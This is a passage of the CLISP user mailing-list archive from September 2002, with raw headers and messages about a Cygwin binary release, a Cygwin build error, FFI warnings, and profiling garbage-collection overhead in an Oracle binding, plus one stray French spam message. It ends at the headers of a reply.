clisp-list@sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] cygwin-2.30 binary Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 15 13:43:03 2002 X-Original-Date: Sun, 15 Sep 2002 21:42:38 +0100 cygwin-2.30 binary to download at http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp/ only with-dynamic-ffi, no other modules. needs an installed cygwin, esp. for readline, libiconv and such. all tests passed. very good work! $ clisp --version GNU CLISP 2.30 (released 2002-09-15) (built 3241106935) (memory 3241107305) Features: (CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER UNIX CYGWIN) I'll experiment with a mysql and the wish binding now. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From rurban@x-ray.at Sun Sep 15 14:13:14 2002 Received: from [62.99.194.3] (helo=smtp.inode.at) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17qghb-00014o-00 for ; Sun, 15 Sep 2002 14:13:12 -0700 Received: from torwaechter.inode.at ([213.229.17.132]:1841 helo=x-ray.at) by smtp.inode.at with esmtp (Exim 4.05) id 17qghY-0008GG-00 for clisp-list@sourceforge.net; Sun, 15 Sep 2002 23:13:08 +0200 Message-ID: <3D84F7E4.1090200@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.0.0) Gecko/20020530 X-Accept-Language: de-at, de, en-us, en MIME-Version: 1.0 To: clisp-list@sourceforge.net Subject: Re: [clisp-list] FSF Award Nomination: Bruno Haible References: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Sep 15 14:14:02 2002 X-Original-Date: Sun, 15 Sep 2002 22:13:08 +0100 Sam Steingold schrieb: > Just nominate Bruno again, listing all you know about him > (I am sure I missed a lot of his accomplishments). esp. his early "fight" with rms when bruno wanted to include libreadline into clisp. nevertheless he released all his work under the GPL then. this reminds me on the other famous german, ulrich drepper, who had a similar but more severe conflict recently. personally i doubt if bruno qualifies for freedomfirst (http://gnu.org.in/news/freedomfirst.html), better for freedom-at-last. btw: i did a fine nomination also with some points sam forgot. -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From littledreamer@gmx.net Mon Sep 16 05:58:12 2002 Received: from mx0.gmx.net ([213.165.64.100]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17qvS8-0001OP-00 for ; Mon, 16 Sep 2002 05:58:12 -0700 Received: (qmail 10990 invoked by uid 0); 16 Sep 2002 12:58:03 -0000 From: littledreamer@gmx.net To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Priority: 3 (Normal) X-Authenticated-Sender: #0000394104@gmx.net X-Authenticated-IP: [80.130.145.130] Message-ID: <15569.1032181083@www18.gmx.net> X-Mailer: WWW-Mail 1.5 (Global Message Exchange) X-Flags: 0001 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Subject: [clisp-list] thanks Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 05:59:03 2002 X-Original-Date: Mon, 16 Sep 2002 14:58:03 +0200 (MEST) ...thanks a lot to all the guys who answered to my question about an http-server for clisp... you've really helped me a lot - i could adapt the clocc server to our needs and can now go on developping. i think i will register our project (a gui-client/server integration of the components of the symbolic a.i.-system "IPAL" --> http://www.inf.uos.de/schmid/ipal.html ) at sourceforge within the next days... salut, martin -- *** martin beckmann *** homepage: http://www-lehre.informatik.uni-osnabrueck.de/~martbeck/ From mailing@espace-video.fr Mon Sep 16 06:35:30 2002 Received: from [81.91.66.253] (helo=localhost.localdomain) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17qw2D-0005HJ-00 for ; Mon, 16 Sep 2002 06:35:29 -0700 Received: (from apache@localhost) by localhost.localdomain (8.11.3/8.11.3) id g8GDaOQ17716; Mon, 16 Sep 2002 15:36:24 +0200 From: mailing@espace-video.fr Message-Id: <200209161336.g8GDaOQ17716@localhost.localdomain> X-Authentication-Warning: localhost.localdomain: apache set sender to mailing@espace-video.fr using -f Reply-To: mailing@espace-video.fr X-Sender: mailing@espace-video.fr To: clisp-list@lists.sourceforge.net X-Mailer: PG-MAILINGLIST PRO L2208 X-Priority: 3 MIME-Version: 1.0 Content-type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-MIME-Autoconverted: from 8bit to quoted-printable by localhost.localdomain id g8GDaOQ17716 Subject: [clisp-list] ESPACE VIDEO FRANCE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 06:36:04 2002 X-Original-Date: Mon, 16 Sep 2002 15:36:24 +0200
ESPACE VIDEO=20 FRANCE
 
Actualit=E9s Vid=E9os Vivez en direct toute= =20 l'actualit=E9 de la vid=E9o =E0 la location...
Les sorties=20 cin=E9ma...

Acc=E8s direct= au Site=20
 
Faites vos achatsCoquins =E0=20 prix Malins...
Acc=E8s direct au Site
(+18 ans uniquement)
Bou= tique lingerie=20
VHS =E0 partir de
1,99=80
     &nbs= p;DVD
=E0 partir de 4,99=80

 


Pour vous d=E9sinscrire, merci de vous rendre ici:
http://espace-video.fr/cgi-bin/pg-mlpro.cgi?A=3D= clisp-list@lists.sourceforge.net&L=3D4 From EricM@dimaxcontrols.com Mon Sep 16 08:14:16 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17qxZo-0001Wg-00 for ; Mon, 16 Sep 2002 08:14:16 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Mon, 16 Sep 2002 11:21:58 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> From: Eric Moncrieff To: "'clisp-list@lists.sf.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Subject: [clisp-list] CLISP 2.30 compilation under cygwin errors. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 08:15:02 2002 X-Original-Date: Mon, 16 Sep 2002 11:21:54 -0400 Hello, I'm trying to compile CLISP 2.30 under WinNT4.0 with cygwin, and encountering the following error: bash-2.05b$ mkdir build bash-2.05b$ ./configure build mkdir: cannot create directory `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND :': No such file or directory The problem seems to be in the src/lndir script, with which I can reproduce the error message: bash-2.05b$ src/lndir modules/bindings /cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindings mkdir: cannot create directory `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND :': No such file or directory Is there something obvious I've missed in the build instructions, or is build under Cygwin unsupported...Or is it something else entirely? Anyone have any thoughts? Thanks in advance. Eric Moncrieff From hin@van-halen.alma.com Mon Sep 16 11:20:05 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r0Tc-00005B-00 for ; Mon, 16 Sep 2002 11:20:04 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8GIK1kB007397 for ; Mon, 16 Sep 2002 14:20:01 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8GIK1vm007394; Mon, 16 Sep 2002 14:20:01 -0400 Message-Id: <200209161820.g8GIK1vm007394@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Warnings setting FFI:DEFAULT-FOREIGN-LANGUAGE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 11:21:02 2002 X-Original-Date: Mon, 16 Sep 2002 14:20:01 -0400 For my "C" oracle module I'm moving to the new syntax for defining "C" call-out functions (DEF-C-CALL-OUT --> DEF-CALL-OUT) but when I set the default language with (default-foreign-language :stdc) I get : Compiling file /u/hin/src/clisp/mysrc/oracle/oracle.lisp ... WARNING: SETQ(FFI::*FOREIGN-LANGUAGE*): # is locked Ignore the lock and proceed WARNING in (DEFAULT-FOREIGN-LANGUAGE :STDC)-3 in lines 30..31 : SETQ: assignment to the internal special symbol FFI::*FOREIGN-LANGUAGE* No big deal, but I am doing things just as in the examples and it seems that should produce no warning. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Mon Sep 16 13:16:43 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r2IU-0004aN-00 for ; Mon, 16 Sep 2002 13:16:42 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8GKGekB010361 for ; Mon, 16 Sep 2002 16:16:40 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8GKGeUQ010358; Mon, 16 Sep 2002 16:16:40 -0400 Message-Id: <200209162016.g8GKGeUQ010358@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Lots o' garbage ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 13:17:03 2002 X-Original-Date: Mon, 16 Sep 2002 16:16:40 -0400 I've got a program that accesses a database and retrieves about 40,000 records (using the Oracle client lib I announced recently). It's pretty sluggish - the same program written in perl DBI takes about 1/20 th the time (i.e., it's 20x as long in Lisp). I'm surprised to see this and I'm trying to figure out why. I think it is that my library is doing lots of consing and generating a LOT of garbage for Lisp's GC to deal with (more on this below) So I'm wondering: what's a good way to find the places in my code where I'm consing and generating garbage? Is there a "consing profiler" type tool to do that? I just read the chapter entitled "Speed" in Graham's book "ANSI Common Lisp" and it says what functions to avoid calling a lot, but I would rather be able to focus in on the hot spots instead of having to laboriously rework all my newly debugged code ;) Why do I think it's spending its time GC'ing? I built CLISP with gprof enabled, i.e., profiled at the "C" level, and my program gives the top funcitons as: Each sample counts as 0.01 seconds. % cumulative self self total time seconds seconds calls s/call s/call name 29.45 28.07 28.07 1498 0.02 0.04 gar_col_normal 22.95 49.95 21.88 4556398 0.00 0.00 gc_mark 12.16 61.54 11.59 139359175 0.00 0.00 objsize 6.62 67.85 6.31 11624570 0.00 0.00 interpret_bytecode_ 1.54 69.32 1.47 2372121 0.00 0.00 allocate_iarray 1.41 70.66 1.34 25267275 0.00 0.00 funcall 1.31 71.91 1.25 10240813 0.00 0.00 funcall_closure 0.87 72.74 0.83 355825 0.00 0.00 convert_from_foreign 0.86 73.56 0.82 15026462 0.00 0.00 funcall_subr Adding the first three lines, it appears to be spending over 60% of its time doing GC. Also notice the 25 million calls to "funcall" -- I tried to elminate that by proclaiming ALL my Oracle package functions as "inline" as well as "(declare (optimize (speed 3)))" etc. I also built CLISP with C compilation flags for maximum optimization (-O4) Any ideas? I know 40,000 records may seem a lot, but in database land it really is not; the perl lib is 20x faster and I think I am doing something naive with repsect to memory use (garbage). I'm trying to figure out how to home in on where. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From hin@van-halen.alma.com Mon Sep 16 14:07:13 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r35M-00021F-00 for ; Mon, 16 Sep 2002 14:07:12 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8GL7AkB010816 for ; Mon, 16 Sep 2002 17:07:10 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8GL7AQf010813; Mon, 16 Sep 2002 17:07:10 -0400 Message-Id: <200209162107.g8GL7AQf010813@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Lots o' garbage ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 14:08:02 2002 X-Original-Date: Mon, 16 Sep 2002 17:07:10 -0400 > Is there a "consing profiler" type tool to do that? never mind, I found "metering.lisp" at http://clocc.sourceforge.net/clocc/src/tools/metering/metering.lisp (Google search give the top link to a page at Carnegie Mellon which has a very outdated version; leading me to think it was abandoned). But in fact it has been maintained for some Lisps, incl. and I'll give it a whirl. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From kaz@footprints.net Mon Sep 16 15:01:39 2002 Received: from ashi.footprints.net ([204.239.179.1]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r3w3-0000ur-00 for ; Mon, 16 Sep 2002 15:01:39 -0700 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 17r3vr-0001LF-00; Mon, 16 Sep 2002 15:01:27 -0700 From: Kaz Kylheku To: "John K. Hinsdale" cc: clisp-list@lists.sourceforge.net In-Reply-To: <200209162016.g8GKGeUQ010358@van-halen.alma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: Lots o' garbage ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 15:02:05 2002 X-Original-Date: Mon, 16 Sep 2002 15:01:27 -0700 (PDT) On Mon, 16 Sep 2002, John K. Hinsdale wrote: > Why do I think it's spending its time GC'ing? I built CLISP with > gprof enabled, i.e., profiled at the "C" level, and my program gives > the top funcitons as: [ snip ] > Adding the first three lines, it appears to be spending over 60% of > its time doing GC. There exists a freeware profiler for Lisp that is written in Lisp and portable among implementations. Do a Google search for "lisp metering". CCLAN has this package; give it a try. The Common Lisp TIME form may also be useful. Identify some code that you think is spending a lot of time, then wrap it with (time ...). Then if you think you are on the right trail, descend into the sub-expressions. > Also notice the 25 million calls to "funcall" -- I tried to elminate > that by proclaiming ALL my Oracle package functions as "inline" as > well as "(declare (optimize (speed 3)))" etc. I also built CLISP with > C compilation flags for maximum optimization (-O4) Note that incrementing beyond -O3 makes no difference. The GNU info manual, at least, only describes the effect of -O0 through -O3. From hin@van-halen.alma.com Mon Sep 16 15:09:38 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r43k-0003pz-00 for ; Mon, 16 Sep 2002 15:09:36 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8GM9SkB015457; Mon, 16 Sep 2002 18:09:28 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8GM9SR9015454; Mon, 16 Sep 2002 18:09:28 -0400 Message-Id: <200209162209.g8GM9SR9015454@van-halen.alma.com> From: "John K. Hinsdale" To: kaz@ashi.footprints.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Kaz Kylheku on Mon, 16 Sep 2002 15:01:27 -0700 (PDT)) Subject: [clisp-list] Re: Lots o' garbage ... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 15:10:02 2002 X-Original-Date: Mon, 16 Sep 2002 18:09:28 -0400 > There exists a freeware profiler for Lisp that is written in Lisp and > portable among implementations. Do a Google search for "lisp > metering". CCLAN has this package; give it a try. Yes, as I remarked I did Google for it, but got a moldy version sitting at CMU. Maybe I'll drop them a note and just have them link to the version at CLOCC. > The Common Lisp TIME form may also be useful. Identify some code that > you think is spending a lot of time, then wrap it with (time I'm sure now it was reckless consing. In the hour or since I've posted, I've had a very positive and fruitful experience with "metering.lisp" and was able to weed out nearly half of my consing and double the speed, with prospects for speeding it up pretty much to however fast I really want it. I just wanted to get rid of the really dumb stuff first, esp. since I've posted it for general use. One thing is puzzling me: I've got a "C" function that returns an array of structures (yes, that again ... :). The profiler is showing it does lots of consing. That doesn't make sense since I am passing back from "C" an array of Lisp structures. No cons-cells involved, right? The declaration is: (def-call-out oracle_row_values (:arguments (db c-pointer)) (:return-type (c-array-ptr (c-ptr sqlval)))) The reason this matters is that I cannot re-work this part. >> Also notice the 25 million calls to "funcall" -- I tried to elminate >> that by proclaiming ALL my Oracle package functions as "inline" as Actually I'm still curious about this. Does CLISP respect "inline" declarations? --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From empb@bese.it Mon Sep 16 15:36:06 2002 Received: from mail-3.tiscali.it ([195.130.225.149] helo=mail.tiscali.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r4TM-0003sT-00 for ; Mon, 16 Sep 2002 15:36:04 -0700 Received: from localhost (62.10.89.251) by mail.tiscali.it (6.5.026) id 3D6DC6E90083A130; Tue, 17 Sep 2002 00:35:32 +0200 To: "John K. Hinsdale" Cc: kaz@ashi.footprints.net, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Lots o' garbage ... References: <200209162209.g8GM9SR9015454@van-halen.alma.com> From: Marco Baringer In-Reply-To: <200209162209.g8GM9SR9015454@van-halen.alma.com> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 15:37:01 2002 X-Original-Date: 17 Sep 2002 00:36:44 +0200 "John K. Hinsdale" writes: > >> Also notice the 25 million calls to "funcall" -- I tried to elminate > >> that by proclaiming ALL my Oracle package functions as "inline" as > > Actually I'm still curious about this. Does CLISP respect "inline" > declarations? nope. -- -Marco Ring the bells that still can ring. Forget your perfect offering. There is a crack in everything. That's how the light gets in. -Leonard Cohen From ampy@ich.dvo.ru Mon Sep 16 16:06:58 2002 Received: from chemi.ich.dvo.ru ([62.76.7.28]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r4ve-0005Yy-00 for ; Mon, 16 Sep 2002 16:05:23 -0700 Received: from KAVUN ([192.168.8.32]) by chemi.ich.dvo.ru (8.11.6/8.11.6/SuSE Linux 0.5) with ESMTP id g8GN2jA29856; Tue, 17 Sep 2002 10:02:45 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <64532235.20020917100407@ich.dvo.ru> To: Eric Moncrieff CC: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. In-reply-To: <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> References: <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 16:07:04 2002 X-Original-Date: Tue, 17 Sep 2002 10:04:07 +1000 Hello Eric, Tuesday, September 17, 2002, 1:21:54 AM, you wrote: Eric> bash-2.05b$ mkdir build Eric> bash-2.05b$ ./configure build Eric> mkdir: cannot create directory Eric> `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND Eric> :': No such file or directory Eric> Anyone have any thoughts? I'm not sure, but it may be CR/LF in sources (especially in makefile or shell scripts). How did you get the sources and if you downloaded it as packed file how did you unpack it ? Ensure sources are containing 0x0A as line separators, not 0x0D/0x0A. -- Best regards, Arseny mailto:ampy@ich.dvo.ru From hin@van-halen.alma.com Mon Sep 16 18:13:19 2002 Received: from 64-205-243-34.client.dsl.net ([64.205.243.34] helo=van-halen.alma.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17r6vW-0000Yb-00 for ; Mon, 16 Sep 2002 18:13:18 -0700 Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.3/8.12.3) with ESMTP id g8H1DGkB005236 for ; Mon, 16 Sep 2002 21:13:16 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.3/8.12.3/Submit) id g8H1DG0b005233; Mon, 16 Sep 2002 21:13:16 -0400 Message-Id: <200209170113.g8H1DG0b005233@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] CONSing by structure access functions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 16 18:14:02 2002 X-Original-Date: Mon, 16 Sep 2002 21:13:16 -0400 After much success tuning up some code under CLISP, I'm still having trouble understanding why some things cost what they do in terms of CPU and memory (particularly garbage-collected storage). By observation, using the consing profiler, noticed that when I call the struct member access functions generated by DEFSTRUCT that these functions CONS. I can't figure out why they would do that given that they are just accessing fixed pieces of data in a data structre of known elements. Below is some code that creates an array of 1000 structures, then loops over the array, doing nothing more than accessing members of the strutures. I don't understand why there should be any consing at all. The reason this is relevant for me is that I've designed a library w/ heavy use of Lisp's structure constructs, and it tends to loop over large numbers of them. Burdening the garbage collector with lots of CONSing is making it slower, but not terribly so. I mostly just want to understand. Is this specific to the CLISP implementation or part of how Lisp is supposed to work? ; ---------------- CODE HERE #!/usr/local/bin/clisp -q (defstruct foo mem1 mem2) ; Make a bunch of 1000 "foo" structures (defun make-stuff () (setq arr (make-array 1000)) (map-into arr #'(lambda (f) (make-foo :mem1 "blah" :mem2 "blorf")) arr)) ; Exercise it (defun grind () (let ((limit (- (length arr) 1))) (loop for i from 1 to limit do (let ((f (aref arr i))) (foo-mem1 f) )))) (load "/u/pkg/lisp/metering/metering.lisp") (mon:monitor-form (progn (make-stuff) (grind))) ; ---------------- PROFILER OUTPUT BEGINS HERE Real time: 0.340808 sec. Run time: 0.34 sec. Space: 496344 Bytes GC: 1, GC time: 0.01 sec. Cons % % Per Total Total Function Time Cons Calls Sec/Call Call Time Cons ----------------------------------------------------------------------------- MAKE-STUFF: 48.78 49.20 1 0.159994 236144 0.160 236144 GRIND: 39.63 41.63 1 0.129994 199800 0.130 199800 FOO-MEM1: 10.37 1.67 999 0.000034 8 0.034 7992 MAKE-FOO: 1.22 7.50 1000 0.000004 36 0.004 36000 ----------------------------------------------------------------------------- TOTAL: 100.00 100.00 2001 0.328 479936 Estimated monitoring overhead: 0.01 seconds Estimated total monitoring overhead: 0.01 seconds --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From EricM@dimaxcontrols.com Tue Sep 17 06:24:10 2002 Received: from [209.167.94.98] (helo=mail.dimaxcontrols.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIKo-0004Zz-00 for ; Tue, 17 Sep 2002 06:24:10 -0700 Received: by IS~MAIL with Internet Mail Service (5.5.2653.19) id ; Tue, 17 Sep 2002 09:25:41 -0400 Message-ID: <9160B867AADDD311AE7900C04F0649BB26725D@IS~MAIL> From: Eric Moncrieff To: 'Arseny Slobodjuck' Cc: "'clisp-list@lists.sf.net'" Subject: RE: [clisp-list] CLISP 2.30 compilation under cygwin errors. MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 17 06:25:02 2002 X-Original-Date: Tue, 17 Sep 2002 09:25:34 -0400 Arseny> Hello Eric, Arseny> Tuesday, September 17, 2002, 1:21:54 AM, you wrote: Eric> bash-2.05b$ mkdir build bash-2.05b$ ./configure build mkdir: Eric> cannot create directory Eric> `/cygdrive/c/WINNT/Profiles/ericm/Personal/src/clisp-2.30/build/bindingsFIND Eric> :': No such file or directory Arseny> I'm not sure, but it may be CR/LF in sources (especially Arseny> in makefile or shell scripts). How did you get the sources Arseny> and if you downloaded it as packed file how did you unpack Arseny> it ? I obtained it in the usual way: To get through my company's proxy server, I used Mozilla to download the sources from sf.net, then I unpacked them with: bzip2 -dc clisp-2.30.tar.bz2 | tar xvf - Arseny> Ensure sources are containing 0x0A as line Arseny> separators, not 0x0D/0x0A. I'll check this now. Nope...Emacs hexl mode shows me just the 0A at line ends, no 0Ds anywhere. Or at least, 'configure' and 'lndir' have the correct line endings. Any other thoughts? Has anyone on the list compiled successfully under cygwin? Thanks for your input. Eric From sds@gnu.org Tue Sep 17 06:28:01 2002 Received: from h013.c001.snv.cp.net ([209.228.32.127] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17rIOX-00057o-00 for ; Tue, 17 Sep 2002 06:28:01 -0700 Received: (cpmta 11611 invoked from network); 17 Sep 2002 06:27:59 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.127) with SMTP; 17 Sep 2002 06:27:59 -0700 X-Sent: 17 Sep 2002 13:27:59 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g8HDRGm04118; Tue, 17 Sep 2002 09:27:16 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: Eric Moncrieff Cc: "'clisp-list@lists.sf.net'" Subject: Re: [clisp-list] CLISP 2.30 compilation under cygwin errors. References: <9160B867AADDD311AE7900C04F0649BB267258@IS~MAIL> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold 